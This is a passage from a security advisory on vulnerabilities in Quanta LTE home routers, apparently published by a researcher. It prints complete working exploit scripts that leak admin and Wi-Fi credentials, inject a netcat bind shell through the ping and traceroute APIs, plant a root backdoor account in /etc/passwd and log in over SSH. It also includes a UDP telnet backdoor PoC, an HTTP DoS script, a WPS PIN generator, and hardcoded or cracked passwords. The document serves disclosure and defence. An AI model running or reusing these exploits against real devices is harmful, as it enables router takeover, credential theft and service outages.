Stage [3] - Checking the router ... OK
uid=0(root) gid=0(root)
HACK THE PLANET
Stage [4] - Creating a backdoor account ... OK
Stage [5] - Connecting as backdoor/admin to the remote sshd ...

Have fun!

spawn ssh backdoor@192.168.1.1
backdoor@192.168.1.1's password: 
root@homerouter:/# id
uid=0(root) gid=0(root) groups=0(root)
root@homerouter:/#
</code></pre>
<p>This exploit will bypass the authentication, get the information about credentials using the infoleak, use them to get a CSRF token, launch a backdoor shell as root, add an user and then connect with SSH with the new created account with a fully-working shell:</p>
<pre><code>user@kali:~$ cat quanta-rce-remote-exploit-ping.sh
#!/bin/sh

TMP_DIR=$(mktemp -d)

echo -n "Stage [1] - Bypassing authentication ..."

wget -qO${TMP_DIR}/stage1-axx 'http://192.168.1.1/data.ria?CfgType=get_homeCfg&amp;file=system'
wget -qO${TMP_DIR}/stage1-wifi 'http://192.168.1.1/data.ria?CfgType=get_homeCfg&amp;file=wifi'
wget -qO${TMP_DIR}/stage1-network 'http://192.168.1.1/data.ria?DynUpdate=up_5s'

echo " OK"
echo -n "  local admin             = "
http_login=$(grep web_usrname ${TMP_DIR}/stage1-axx | tail -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }')
echo $http_login
echo -n "  local passw             = "
http_password=$(grep web_passwd ${TMP_DIR}/stage1-axx | tail -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }')
echo $http_password
echo -n "  wifi access point       = "
grep ssid ${TMP_DIR}/stage1-wifi | head -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }'
echo -n "  wifi password           = "
grep wpa_passphrase= ${TMP_DIR}/stage1-wifi | head -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }'
echo -n "  WPS PIN                 = "
grep enrollee_pin ${TMP_DIR}/stage1-wifi | sed -e 's#"##g;s#=# #' | awk '{ print $2 }'
echo -n "  guest wifi access point = "
grep ssid ${TMP_DIR}/stage1-wifi | tail -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }'
echo -n "  guest wifi password     = "
grep wpa_passphrase= ${TMP_DIR}/stage1-wifi | tail -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }'

echo -n "  public ip               = "
json_xs -t json-pretty &lt; ${TMP_DIR}/stage1-network  | sort | grep ip | head -n 2 | tail -n 1 | sed -e 's#"##g;s#,##' | awk '{ print $3 }'
echo -n "  gateway                 = "
json_xs -t json-pretty &lt; ${TMP_DIR}/stage1-network  | sort | grep gateway | head -n 2 | tail -n 1 | sed -e 's#"##g;s#,##' | awk '{ print $3 }'
echo -n "  subnet mask             = "
json_xs -t json-pretty &lt; ${TMP_DIR}/stage1-network  | sort | grep subnet_mask | head -n 2 | tail -n 1 | sed -e 's#"##g;s#,##' | awk '{ print $3 }'
echo -n "  dns server #1           = "
json_xs -t json-pretty &lt; ${TMP_DIR}/stage1-network  | sort | grep dns1 | head -n 2 | tail -n 1 | sed -e 's#"##g;s#,##' | awk '{ print $3 }'
echo -n "  dns server #2           = "
json_xs -t json-pretty &lt; ${TMP_DIR}/stage1-network  | sort | grep dns2 | head -n 2 | tail -n 1 | sed -e 's#"##g;s#,##' | awk '{ print $3 }'


echo
echo -n "Stage [2] - RCE ..."
http_login=$(echo $http_login | tr -d '\r')
http_password=$(echo $http_password | tr -d '\r')
http_session=$(wget -qO/dev/null --server-response --post-data="uname=$http_login&amp;passwd=$http_password" http://192.168.1.1/login.cgi 2&gt;&amp;1 | grep Cooki | awk '{ print $2 }')
http_csrf_token=$(wget -qO- --header="Cookie: ${http_session=}" "http://192.168.1.1/data.ria?token=1")
wget -qO/dev/null --header="Cookie: ${http_session}" --post-data="{\"CfgType\":\"ping\",\"cmd\":\"ping\",\"url\":\"\`/bin/nc -l -p 1337 -e /bin/ash\`\",\"cnt\":4,\"authID\":\"${http_csrf_token}\"}" "http://192.168.1.1/webpost.cgi"
echo " OK"
echo "Stage [3] - Checking the router ... OK"
(echo id; echo echo "backdoor:htEcF9TWn./9Q:0:0:backdoor:/:/bin/sh &gt;&gt; /etc/passwd" ; echo echo HACK THE PLANET ; echo exit) | nc 192.168.1.1 1337
echo -n "Stage [4] - Creating a backdoor account ..."
echo " OK"
echo "Stage [5] - Connecting as backdoor/admin to the remote sshd ..."
echo
echo "Have fun!"
echo
expect -c 'set timeout 3; spawn ssh backdoor@192.168.1.1; expect "password: $"; send "admin\r"; interact'
user@kali:~$
</code></pre>
<p>Alternatively, you can fetch it at <a href="https://pierrekim.github.io/advisories/quanta-rce-remote-exploit-ping.sh">https://pierrekim.github.io/advisories/quanta-rce-remote-exploit-ping.sh</a>.</p>
<p><a id="rce-2"></a></p>
<h2>Details - RCE #2</h2>
<p>The Webinterface allows an attacker to execute commands as root by injecting commands.</p>
<p>The second RCE has been found in the traceroute API:</p>
<p>Traceroute Remote command execution:</p>
<pre><code>user@kali:~$ wget -qO/dev/null --header="Cookie: ${http_session}" --post-data="{\"CfgType\":\"tracert\",\"cmd\":\"tracert\",\"url\":\"\`/bin/nc -l -p 1337 -e /bin/ash\`\",\"authID\":\"${http_csrf_token}\"}" "http://192.168.1.1/webpost.cgi"
</code></pre>
<p>Working exploit:</p>
<p>The output is the same as the first RCE.  A complete exploit is provided and will produce this output:</p>
<pre><code>user@kali:~$ ./quanta-rce-remote-exploit-traceroute.sh
  Stage [1] - Bypassing authentication ... OK
  local admin             = admin
  local passw             = admin
  wifi access point       = OperatorWiFi-0000
  wifi password           = test
  WPS PIN                 = 28296607
  guest wifi access point = OperatorWiFi-Guest-0000
  guest wifi password     = 12345678
  public ip               = 0.0.0.0
  gateway                 = 0.0.0.0
  subnet mask             = 255.255.255.252
  dns server #1           = 41.242.32.26
  dns server #2           = 41.242.32.42

Stage [2] - RCE ... OK
Stage [3] - Checking the router ... OK
uid=0(root) gid=0(root)
HACK THE PLANET
Stage [4] - Creating a backdoor account ... OK
Stage [5] - Connecting as backdoor/admin to the remote sshd ...

Have fun!

spawn ssh backdoor@192.168.1.1
backdoor@192.168.1.1's password:
root@homerouter:/# id
uid=0(root) gid=0(root) groups=0(root)
root@homerouter:/#
</code></pre>
<p>This exploit will bypass the authentication, get the information about credentials using the infoleak, use them to get a CSRF token, launch a backdoor shell as root, add an user and then connect with SSH with the new created account with a fully-working shell:</p>
<pre><code>user@kali:~$ cat quanta-rce-remote-exploit-ping.sh
#!/bin/sh

TMP_DIR=$(mktemp -d)

echo -n "Stage [1] - Bypassing authentication ..."

wget -qO${TMP_DIR}/stage1-axx 'http://192.168.1.1/data.ria?CfgType=get_homeCfg&amp;file=system'
wget -qO${TMP_DIR}/stage1-wifi 'http://192.168.1.1/data.ria?CfgType=get_homeCfg&amp;file=wifi'
wget -qO${TMP_DIR}/stage1-network 'http://192.168.1.1/data.ria?DynUpdate=up_5s'

echo " OK"
echo -n "  local admin             = "
http_login=$(grep web_usrname ${TMP_DIR}/stage1-axx | tail -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }')
echo $http_login
echo -n "  local passw             = "
http_password=$(grep web_passwd ${TMP_DIR}/stage1-axx | tail -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }')
echo $http_password
echo -n "  wifi access point       = "
grep ssid ${TMP_DIR}/stage1-wifi | head -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }'
echo -n "  wifi password           = "
grep wpa_passphrase= ${TMP_DIR}/stage1-wifi | head -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }'
echo -n "  WPS PIN                 = "
grep enrollee_pin ${TMP_DIR}/stage1-wifi | sed -e 's#"##g;s#=# #' | awk '{ print $2 }'
echo -n "  guest wifi access point = "
grep ssid ${TMP_DIR}/stage1-wifi | tail -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }'
echo -n "  guest wifi password     = "
grep wpa_passphrase= ${TMP_DIR}/stage1-wifi | tail -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }'

echo -n "  public ip               = "
json_xs -t json-pretty &lt; ${TMP_DIR}/stage1-network  | sort | grep ip | head -n 2 | tail -n 1 | sed -e 's#"##g;s#,##' | awk '{ print $3 }'
echo -n "  gateway                 = "
json_xs -t json-pretty &lt; ${TMP_DIR}/stage1-network  | sort | grep gateway | head -n 2 | tail -n 1 | sed -e 's#"##g;s#,##' | awk '{ print $3 }'
echo -n "  subnet mask             = "
json_xs -t json-pretty &lt; ${TMP_DIR}/stage1-network  | sort | grep subnet_mask | head -n 2 | tail -n 1 | sed -e 's#"##g;s#,##' | awk '{ print $3 }'
echo -n "  dns server #1           = "
json_xs -t json-pretty &lt; ${TMP_DIR}/stage1-network  | sort | grep dns1 | head -n 2 | tail -n 1 | sed -e 's#"##g;s#,##' | awk '{ print $3 }'
echo -n "  dns server #2           = "
json_xs -t json-pretty &lt; ${TMP_DIR}/stage1-network  | sort | grep dns2 | head -n 2 | tail -n 1 | sed -e 's#"##g;s#,##' | awk '{ print $3 }'


echo
echo -n "Stage [2] - RCE ..."
http_login=$(echo $http_login | tr -d '\r')
http_password=$(echo $http_password | tr -d '\r')
http_session=$(wget -qO/dev/null --server-response --post-data="uname=$http_login&amp;passwd=$http_password" http://192.168.1.1/login.cgi 2&gt;&amp;1 | grep Cooki | awk '{ print $2 }')
http_csrf_token=$(wget -qO- --header="Cookie: ${http_session=}" "http://192.168.1.1/data.ria?token=1")
wget -qO/dev/null --header="Cookie: ${http_session}" --post-data="{\"CfgType\":\"tracert\",\"cmd\":\"tracert\",\"url\":\"\`/bin/nc -l -p 1337 -e /bin/ash\`\",\"authID\":\"${http_csrf_token}\"}" "http://192.168.1.1/webpost.cgi"
echo " OK"
echo "Stage [3] - Checking the router ... OK"
(echo id; echo echo "backdoor:htEcF9TWn./9Q:0:0:backdoor:/:/bin/sh &gt;&gt; /etc/passwd" ; echo exit) | nc 192.168.1.1 1337
echo -n "Stage [4] - Creating a backdoor account ..."
echo " OK"
echo "Stage [5] - Connecting as backdoor/admin to the remote sshd ..."
echo
echo "Have fun!"
echo
expect -c 'set timeout 3; spawn ssh backdoor@192.168.1.1; expect "password: $"; send "admin\r"; interact'
</code></pre>
<p>Alternatively, you can fetch it at <a href="https://pierrekim.github.io/advisories/quanta-rce-remote-exploit-traceroute.sh">https://pierrekim.github.io/advisories/quanta-rce-remote-exploit-traceroute.sh</a>.</p>
<p><a id="backdoor"></a></p>
<h2>Details - Backdoor</h2>
<p>A backdoor is present inside the <code>/bin/appmgr</code> program. By sending a specific string in UDP to the router, an authentication-less telnet server will start if a telnetd daemon is not already running.</p>
<p>In <code>/bin/appmgr</code>, a thread listens to 0.0.0.0:39889 (UDP) and waits for commands.</p>
<p>If a client sends "HELODBG" to the router, the router will execute <code>/sbin/telnetd -l /bin/sh</code>, allowing to access without authentication to the router as root.</p>
<p>When using IDA, we can see the backdoor is located in the main function (line 389):</p>
<p><img alt="" src="images/2016-quanta-backdoor-telnet.png" /></p>
<p>Working PoC :</p>
<pre><code>user@kali:~$ echo -ne "HELODBG" | nc -u 192.168.1.1 39889
Hello
^C
user@kali:~$ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.

OpenEmbedded Linux homerouter.cpe


msm 20141210 homerouter.cpe

/ # id
uid=0(root) gid=0(root)
/ # exit
Connection closed by foreign host.
user@kali:~$
</code></pre>
<p><a id="default-wps-pin"></a></p>
<h2>Details - Default WPS PIN</h2>
<p>Wi-Fi Protected Setup(WPS) is a standard for easy and secure establishment of a wireless home network, as defined in the documentation provided in the router (help.html).</p>
<p>By default, the PIN for the WPS system is ever <code>28296607</code>. It is, in fact, hardcoded in the <code>/bin/appmgr</code> program:</p>
<p><img alt="" src="images/2016-quanta-wifi_get_default_wps_pin.png" /></p>
<p>An user can check in the webinterface ("Par defaut" means "By default"):</p>
<p><img alt="" src="images/2016-quanta-backdoor-default-pin-wps-interface.png" /></p>
<p>This PIN can be found in the HostAP configuration too, and, using the information leak, in the HTTP APIs of the router:</p>
<pre><code>root@homerouter:~# ps -a|grep hostap
 1006 root       0:00 hostapd /var/wifi/ar6k0.conf
 1219 root       0:00 grep hostap
root@homerouter:~# cat /var/wifi/ar6k0.conf
[...]
ap_pin=28296607
[...]
</code></pre>
<p>Leak of the default WPS PIN in the HTTP APIs:</p>
<pre><code>user@kali:~$ ./quanta-infoleak.sh 192.168.1.1 | grep pin
enrollee_pin="28296607"
user@kali:~$
</code></pre>
<p><a id="weak-wps-pin-generation"></a></p>
<h2>Details - Weak WPS PIN Generation - with a reverse-engineered algorithm</h2>
<p>An user can use the webinterface to generate a temporary PIN for the WPS system (low probability as the <code>28296607</code> WPS PIN is provided by default).</p>
<p>The PIN generated by the router is weak as it is generated using this "strange" reverse-engineered algorithm:</p>
<pre><code>user@kali:~$ cat quanta-wps-gen.c
</code></pre>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #BC7A00">#include</span> <span style="color: #408080; font-style: italic">&lt;stdio.h&gt;</span><span style="color: #BC7A00"></span>
<span style="color: #BC7A00">#include</span> <span style="color: #408080; font-style: italic">&lt;stdlib.h&gt;</span><span style="color: #BC7A00"></span>
<span style="color: #BC7A00">#include</span> <span style="color: #408080; font-style: italic">&lt;time.h&gt;</span><span style="color: #BC7A00"></span>

<span style="color: #B00040">int</span> <span style="color: #0000FF">main</span>(<span style="color: #B00040">int</span>    argc,
         <span style="color: #B00040">char</span>   <span style="color: #666666">**</span>argv,
         <span style="color: #B00040">char</span>   <span style="color: #666666">**</span>envp)
{ 
  <span style="color: #B00040">unsigned</span> <span style="color: #B00040">int</span>  i0, i1;
  <span style="color: #B00040">int</span>           i2;

  <span style="color: #408080; font-style: italic">/* the seed is the current time of the router, which uses NTP... */</span>
  srand(time(<span style="color: #666666">0</span>));

  i0 <span style="color: #666666">=</span> rand() <span style="color: #666666">%</span> <span style="color: #666666">10000000</span>;
  <span style="color: #008000; font-weight: bold">if</span> (i0 <span style="color: #666666">&lt;=</span> <span style="color: #666666">999999</span>)
    i0 <span style="color: #666666">+=</span> <span style="color: #666666">1000000</span>;
  i1 <span style="color: #666666">=</span> <span style="color: #666666">10</span> <span style="color: #666666">*</span> i0;
  i2 <span style="color: #666666">=</span> (<span style="color: #666666">10</span> <span style="color: #666666">-</span> (i1 <span style="color: #666666">/</span> <span style="color: #666666">10000</span> <span style="color: #666666">%</span> <span style="color: #666666">10</span> <span style="color: #666666">+</span> i1 <span style="color: #666666">/</span> <span style="color: #666666">1000000</span> <span style="color: #666666">%</span> <span style="color: #666666">10</span> <span style="color: #666666">+</span> i1 <span style="color: #666666">/</span> <span style="color: #666666">100</span> <span style="color: #666666">%</span> <span style="color: #666666">10</span> <span style="color: #666666">+</span> <span style="color: #666666">3</span> <span style="color: #666666">*</span>
       (i1 <span style="color: #666666">/</span> <span style="color: #666666">100000</span> <span style="color: #666666">%</span> <span style="color: #666666">10</span> <span style="color: #666666">+</span> <span style="color: #666666">10</span> <span style="color: #666666">*</span> i0 <span style="color: #666666">/</span> <span style="color: #666666">10000000</span> <span style="color: #666666">%</span> <span style="color: #666666">10</span> <span style="color: #666666">+</span> i1 <span style="color: #666666">/</span> <span style="color: #666666">1000</span> <span style="color: #666666">%</span> <span style="color: #666666">10</span> <span style="color: #666666">+</span> i1 <span style="color: #666666">/</span> <span style="color: #666666">10</span> <span style="color: #666666">%</span> <span style="color: #666666">10</span>))
        <span style="color: #666666">%</span> <span style="color: #666666">10</span>) <span style="color: #666666">%</span> <span style="color: #666666">10</span> <span style="color: #666666">+</span> <span style="color: #666666">10</span> <span style="color: #666666">*</span> i0;

  printf(<span style="color: #BA2121">&quot;%d</span><span style="color: #BB6622; font-weight: bold">\n</span><span style="color: #BA2121">&quot;</span>, i2 );

  <span style="color: #008000; font-weight: bold">return</span> (<span style="color: #666666">0</span>);
}
</pre></div>

<pre><code>user@kali:~$ gcc -o quanta-wps-gen quanta-wps-gen.c
user@kali:~$ ./quanta-wps-gen
97329329
user@kali:~$
</code></pre>
<p>You can fetch this program at <a href="https://pierrekim.github.io/advisories/quanta-wps-gen.c">https://pierrekim.github.io/advisories/quanta-wps-gen.c</a>.</p>
<p>Using <code>srand(time(0))</code> as a seed is a bad idea because an attacker, knowing the current date as <code>time(0)</code> returns the current date in an integer value, can just generate the valid WPS PIN. The Router uses NTP so is likely to have a correct timestamp configured. It's trivial for an attacker to generate valid WPS PIN suites and bruteforce them.</p>
<p>For the curious reader, the original algorithm in the firmware is:</p>
<pre><code>.text:0001B8C8                 EXPORT generate_wlan_wps_enrollee_pin
.text:0001B8C8 generate_wlan_wps_enrollee_pin          ; CODE XREF: wifi_msg_handle+194p
.text:0001B8C8
.text:0001B8C8 var_3C          = -0x3C
.text:0001B8C8 var_38          = -0x38
.text:0001B8C8 s               = -0x34
.text:0001B8C8 var_30          = -0x30
.text:0001B8C8 var_2C          = -0x2C
.text:0001B8C8
.text:0001B8C8                 STMFD           SP!, {R4-R11,LR}
.text:0001B8CC                 SUB             SP, SP, #0x1C
.text:0001B8D0                 STR             R0, [SP,#0x40+s]
.text:0001B8D4                 MOV             R0, #0  ; timer
.text:0001B8D8                 BL              time
.text:0001B8DC                 BL              srand
.text:0001B8E0                 BL              rand
.text:0001B8E4                 LDR             R4, =0x6B5FCA6B
.text:0001B8E8                 MOV             R6, R0,ASR#31
.text:0001B8EC                 SMULL           R1, R4, R0, R4
.text:0001B8F0                 RSB             R10, R6, R4,ASR#22
.text:0001B8F4                 RSB             R12, R10, R10,LSL#5
.text:0001B8F8                 RSB             R2, R12, R12,LSL#6
.text:0001B8FC                 ADD             R11, R10, R2,LSL#3
.text:0001B900                 LDR             R8, =0xF423F
.text:0001B904                 ADD             R9, R11, R11,LSL#2
.text:0001B908                 SUB             R1, R0, R9,LSL#7
.text:0001B90C                 CMP             R1, R8
.text:0001B910                 ADDLS           R1, R1, #0xF4000
.text:0001B914                 ADDLS           R1, R1, #0x240
.text:0001B918                 ADD             R3, R1, R1,LSL#2
.text:0001B91C                 MOV             R3, R3,LSL#1
.text:0001B920                 LDR             R1, =0xCCCCCCCD
.text:0001B924                 LDR             R5, =0xA7C5AC5
.text:0001B928                 LDR             R6, =0x6B5FCA6B
.text:0001B92C                 MOV             R7, R3,LSR#5
.text:0001B930                 UMULL           R4, R7, R5, R7
.text:0001B934                 UMULL           R9, LR, R1, R3
.text:0001B938                 UMULL           R5, R6, R3, R6
.text:0001B93C                 LDR             R12, =0xD1B71759
.text:0001B940                 MOV             R6, R6,LSR#22
.text:0001B944                 UMULL           R10, R12, R3, R12
.text:0001B948                 MOV             LR, LR,LSR#3
.text:0001B94C                 UMULL           R10, R9, R1, R6
.text:0001B950                 UMULL           R8, R10, R1, LR
.text:0001B954                 LDR             R0, =0x431BDE83
.text:0001B958                 MOV             R12, R12,LSR#13
.text:0001B95C                 UMULL           R11, R0, R3, R0
.text:0001B960                 STR             R10, [SP,#0x40+var_38]
.text:0001B964                 UMULL           R8, R10, R1, R12
.text:0001B968                 LDR             R2, =0x51EB851F
.text:0001B96C                 LDR             R4, =0x10624DD3
.text:0001B970                 UMULL           R5, R2, R3, R2
.text:0001B974                 MOV             R0, R0,LSR#18
.text:0001B978                 STR             R10, [SP,#0x40+var_3C]
.text:0001B97C                 UMULL           R8, R4, R3, R4
.text:0001B980                 UMULL           R8, R10, R1, R0
.text:0001B984                 MOV             R2, R2,LSR#5
.text:0001B988                 MOV             R7, R7,LSR#7
.text:0001B98C                 UMULL           R8, R11, R1, R7
.text:0001B990                 STR             R10, [SP,#0x40+var_30]
.text:0001B994                 MOV             R4, R4,LSR#6
.text:0001B998                 UMULL           R8, R10, R1, R2
.text:0001B99C                 UMULL           R8, R5, R1, R4
.text:0001B9A0                 STR             R10, [SP,#0x40+var_2C]
.text:0001B9A4                 MOV             R8, R9,LSR#3
.text:0001B9A8                 MOV             R10, R11,LSR#3
.text:0001B9AC                 ADD             R11, R10, R10,LSL#2
.text:0001B9B0                 ADD             R9, R8, R8,LSL#2
.text:0001B9B4                 MOV             R10, R5,LSR#3
.text:0001B9B8                 LDR             R8, [SP,#0x40+var_38]
.text:0001B9BC                 SUB             R6, R6, R9,LSL#1
.text:0001B9C0                 SUB             R7, R7, R11,LSL#1
.text:0001B9C4                 LDR             R9, [SP,#0x40+var_3C]
.text:0001B9C8                 LDR             R11, [SP,#0x40+var_30]
.text:0001B9CC                 ADD             R5, R10, R10,LSL#2
.text:0001B9D0                 SUB             R5, R4, R5,LSL#1
.text:0001B9D4                 LDR             R4, [SP,#0x40+var_2C]
.text:0001B9D8                 MOV             R10, R8,LSR#3
.text:0001B9DC                 MOV             R8, R9,LSR#3
.text:0001B9E0                 MOV             R9, R11,LSR#3
.text:0001B9E4                 ADD             R7, R7, R6
.text:0001B9E8                 ADD             R10, R10, R10,LSL#2
.text:0001B9EC                 ADD             R9, R9, R9,LSL#2
.text:0001B9F0                 MOV             R11, R4,LSR#3
.text:0001B9F4                 ADD             R8, R8, R8,LSL#2
.text:0001B9F8                 ADD             R7, R7, R5
.text:0001B9FC                 SUB             LR, LR, R10,LSL#1
.text:0001BA00                 SUB             R5, R0, R9,LSL#1
.text:0001BA04                 SUB             R8, R12, R8,LSL#1
.text:0001BA08                 ADD             R11, R11, R11,LSL#2
.text:0001BA0C                 ADD             R12, R7, LR
.text:0001BA10                 SUB             R4, R2, R11,LSL#1
.text:0001BA14                 ADD             R8, R8, R5
.text:0001BA18                 ADD             R5, R8, R4
.text:0001BA1C                 ADD             R0, R12, R12,LSL#1
.text:0001BA20                 ADD             R4, R5, R0
.text:0001BA24                 UMULL           R5, R1, R4, R1
.text:0001BA28                 MOV             R2, R1,LSR#3
.text:0001BA2C                 ADD             LR, R2, R2,LSL#2
.text:0001BA30                 SUB             R8, R4, LR,LSL#1
.text:0001BA34                 LDR             R0, =0x66666667
.text:0001BA38                 RSB             R2, R8, #0xA
.text:0001BA3C                 SMULL           R8, R0, R2, R0
.text:0001BA40                 MOV             R12, R2,ASR#31
.text:0001BA44                 RSB             R1, R12, R0,ASR#2
.text:0001BA48                 ADD             LR, R1, R1,LSL#2
.text:0001BA4C                 LDR             R12, =(__FUNCTION__.9079 - 0x1BA64)
.text:0001BA50                 SUB             R4, R2, LR,LSL#1
.text:0001BA54                 LDR             R2, =(aGet_wpspinI - 0x1BA70)
.text:0001BA58                 ADD             R4, R4, R3
.text:0001BA5C                 ADD             R0, PC, R12 ; "hostapd_conf_file_gen"
.text:0001BA60                 ADD             R0, R0, #0x3C
.text:0001BA64                 MOV             R1, #0x3D
.text:0001BA68                 ADD             R2, PC, R2 ; "Get_WpsPin:%in"
.text:0001BA6C                 MOV             R3, R4
.text:0001BA70                 BL              wifi_filelog
.text:0001BA74                 LDR             R1, =(a08lu - 0x1BA84)
.text:0001BA78                 LDR             R0, [SP,#0x40+s] ; s
.text:0001BA7C                 ADD             R1, PC, R1 ; "%08lu"
.text:0001BA80                 MOV             R2, R4
.text:0001BA84                 ADD             SP, SP, #0x1C
.text:0001BA88                 LDMFD           SP!, {R4-R11,LR}
.text:0001BA8C                 B               sprintf
.text:0001BA8C ; End of function generate_wlan_wps_enrollee_pin
</code></pre>
<p><a id="backdoor-accounts-in-samba"></a></p>
<h2>Details - Backdoor accounts in Samba</h2>
<p>Samba is configured to run by default and the <code>/bin/genpasswd</code> program configures the different accounts.</p>
<p>As seen in the IDA screenshot, multiple backdoors accounts are created:</p>
<ul>
<li>admin with the password 1234</li>
<li>support with the password 1234</li>
<li>user with the password 1234</li>
<li>nobody with the password 1234</li>
</ul>
<p>From <code>/bin/genpasswd</code>:</p>
<p><img alt="" src="images/2016-quanta-gen-password-pseudo-code.png" /></p>
<p>The resulting file (<code>/usr/pc/samga/etc/passwd</code>) is:</p>
<pre><code>admin:6HgsSsJIEOc2U:0:0:Administrator:/:/bin/sh
support:Ead09Ca6IhzZY:0:0:Technical Support:/:/bin/sh
user:tGqcT.qjxbEik:0:0:Normal User:/:/bin/sh
nobody:VBcCXSNG7zBAY:0:0:nobody for ftp:/:/bin/sh
</code></pre>
<p>And john confirms the passwords:</p>
<pre><code>user@kali:~$ john -show usr-pc-samba-etc-passwd 
admin:1234:0:0:Administrator:/:/bin/sh
support:1234:0:0:Technical Support:/:/bin/sh
user:1234:0:0:Normal User:/:/bin/sh
nobody:1234:0:0:nobody for ftp:/:/bin/sh

4 password hashes cracked, 0 left
user@kali:~$
</code></pre>
<p>When Samba starts, the passwd file is copied into <code>/var/pc/samba/etc/passwd</code>.</p>
<p><a id="leaking-no-ip-account"></a></p>
<h2>Details - Leaking No-IP account (?):</h2>
<p>The file <code>/etc/inadyn-mt.conf</code> (for a dyndns client) contains an user and a hardcoded password. I don't know if it is used:</p>
<pre><code>--log_file /usr/inadyn_srv.log
--forced_update_period 6000
--username alex_hung
--password 641021
--dyndns_system default@no-ip.com
--alias test.no-ip.com
</code></pre>
<p><a id="remote-fota"></a></p>
<h2>Details - Remote FOTA (Firmware Over The Air)</h2>
<p>The credentials to contact the FOTA server are hardcoded in the <code>/sbin/fotad</code> binary, as shown with this IDA screenshot:</p>
<p><img alt="" src="images/2016-quanta-sbin-fota-http-req.png" /></p>
<p>The function sub_C8A4 contains the credentials as base64-strings, used to retrieve the firmware.</p>
<p>It's notable the FOTA daemon tries to retrieve the firmware over HTTPS. But at the date of the writing,
the SSL certificate for <a href="https://qdp:qdp@fotatest.qmitw.com/qdh/ispname/2031/appliance.xml">https://qdp:qdp@fotatest.qmitw.com/qdh/ispname/2031/appliance.xml</a> is invalid for 1 year.</p>
<p><img alt="" src="images/2016-quanta-sbin-fota-http-req-auth-passwords.png" /></p>
<p>The user/password combinaisons are:</p>
<pre><code>qdpc:qdpc
qdpe:qdpe
qdp:qdp
</code></pre>
<p><a id="toctou-lpe"></a></p>
<h2>Details - TOCTOU vulnerability in QCMAP_ConnectionManager - LPE</h2>
<p>This program is started at boot as root. The function sub_131F4 creates the <code>/etc/guest_access_rules.sh</code> file, then fills it with ebtables commands, then <code>chmod 777 /etc/guest_access_rules.sh</code> (!), then executes <code>/etc/guest_access_rules.sh</code> (as root) and then removes it from the filesystem.</p>
<p>The local admin user (without root privileges) can use this TOCTOU vulnerability to gain root privileges in the router. Chmoding 777 a file and then executing it as root doesn't seem to be a good idea.</p>
<p>ds_system_call() is a wrapper to system().</p>
<p>Beginning of the sub_131F4 function (<code>/etc/guest_access_rules.sh</code> is opened and ebtables are created):</p>
<p><img alt="" src="images/2016-quanta-toctou-01.png" /></p>
<p>End of the sub_131F4 function, where the TOCTOU vulnerability is located:</p>
<p><img alt="" src="images/2016-quanta-toctou-02.png" /></p>
<p>The attentive reader will comment that the program doesn't check if the file <code>/etc/guest_access_rules.sh</code> already existed and if it was owned by a non-root user before doing a fopen (file, "w"), so this user would keep the rights on the file during all the execution of the function, allowing him to add some commands into the file. He will be right to note this is not a best security practice.</p>
<p><a id="default-wifi-password-weakness"></a></p>
<h2>Details - Default Wifi Password Weakness</h2>
<p>By default, Wifi password is provided as a 8-char string. It's composed of [A-Z]{8}. It's possible to bruteforce it very fast using a WPA handshake.</p>
<p><a id="http-dos"></a></p>
<h2>Details - HTTP DoS</h2>
<p>By sending multiple authenticated http requests to a webservice allowing to retrieve anti-csrf tokens (security feature!), it is possible to get the qmiweb daemon (http daemon) to use 100% of CPU and to become unresponsive.
The service doesn't check the number of requested anti-csrf tokens by the client, so it is possible to request a large number of tokens, resulting in the blocking of the HTTP server.</p>
<p>Problematic HTTP request:</p>
<pre><code>GET /data.ria?token=1000000000000000 HTTP/1.1
Host: 192.168.1.1
Cookie: qSessId=oTgVebjXWXcApoyb
</code></pre>
<p>PoC:</p>
<pre><code>user@kali:~$ cat quanta-dos-http.sh 
#!/bin/sh

TMP_DIR=$(mktemp -d)

echo -n "Stage [1] - Bypassing authentication ..."

wget -qO${TMP_DIR}/stage1-axx 'http://192.168.1.1/data.ria?CfgType=get_homeCfg&amp;file=system'
http_login=$(grep web_usrname ${TMP_DIR}/stage1-axx | tail -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }')
http_password=$(grep web_passwd ${TMP_DIR}/stage1-axx | tail -n 1 | sed -e 's#"##g;s#=# #' | awk '{ print $2 }')
echo " OK"

echo -n "Stage [2] - DoS ..."
http_login=$(echo $http_login | tr -d '\r')
http_password=$(echo $http_password | tr -d '\r')
http_session=$(wget -qO/dev/null --server-response --post-data="uname=$http_login&amp;passwd=$http_password" http://192.168.1.1/login.cgi 2&gt;&amp;1 | grep Cooki | awk '{ print $2 }')
for i in $(seq 0 10)
do
  wget -qO/dev/null --header="Cookie: ${http_session}hey-i-dont-think-your-parsing-of-cookies-works-well" "http://192.168.1.1/data.ria?token=100000000000000" &amp;
done
echo " OK"
echo "Done. The HTTP server is surely unresponsive now."

user@kali:~$ ./quanta-dos-http.sh 
Stage [1] - Bypassing authentication ... OK
Stage [2] - DoS ... OK
Done. The HTTP server is surely unresponsive now.
user@kali:~$ 
user@kali:~$ 
user@kali:~$ wget http://192.168.1.1
--2015-12-04 17:04:07--  http://192.168.1.1/
Connecting to 192.168.1.1:80... connected.
HTTP request sent, awaiting response...

^C
user@kali:~$
</code></pre>
<p>Alternatively, you can fetch the exploit at <a href="https://pierrekim.github.io/advisories/quanta-dos-http.sh">https://pierrekim.github.io/advisories/quanta-dos-http.sh</a>.</p>
<p>In the router, the <code>/bin/qmiweb</code> program uses all the CPU.</p>
<pre><code>Mem: 40252K used, 128664K free, 0K shrd, 20K buff, 14804K cached
CPU: 31.2% usr 65.5% sys  0.0% nic  0.0% idle  0.0% io  0.0% irq  3.1% sirq
Load average: 7.71 4.38 2.16 2/214 1256
